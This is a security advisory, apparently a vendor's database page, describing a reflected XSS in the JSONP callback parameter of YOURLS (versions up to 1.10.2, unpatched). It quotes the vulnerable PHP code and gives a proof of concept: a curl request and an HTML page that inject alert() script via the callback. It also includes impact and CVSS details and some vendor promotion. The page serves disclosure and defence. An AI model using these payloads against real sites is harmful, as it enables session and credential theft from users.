Summary
The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS_PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.
Details
Vulnerability exists in the JSONP callback handling chain:
yourls-api.php:127-128
if( isset( $_REQUEST['callback'] ) )
$return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
$return['callback'] = $_REQUEST['jsonp'];
includes/functions-api.php:127-128
$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result = $callback . '(' . json_encode( $output ) . ')';
PoC
I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.
II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//"
Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})
Browser PoC file:
<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>
Impact
Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS.
Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
GHSA-6MP4-Q625-MXJP has a CVSS score of 7.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-6MP4-Q625-MXJP? GHSA-6MP4-Q625-MXJP is a high-severity cross-site scripting (XSS) vulnerability in yourls/yourls (composer), affecting versions <= 1.10.2. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is GHSA-6MP4-Q625-MXJP? GHSA-6MP4-Q625-MXJP has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of yourls/yourls are affected by GHSA-6MP4-Q625-MXJP? yourls/yourls (composer) versions <= 1.10.2 is affected.
- Is there a fix for GHSA-6MP4-Q625-MXJP? No fixed version is listed for GHSA-6MP4-Q625-MXJP yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-6MP4-Q625-MXJP exploitable, and should I be worried? Whether GHSA-6MP4-Q625-MXJP is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-6MP4-Q625-MXJP is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-6MP4-Q625-MXJP? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.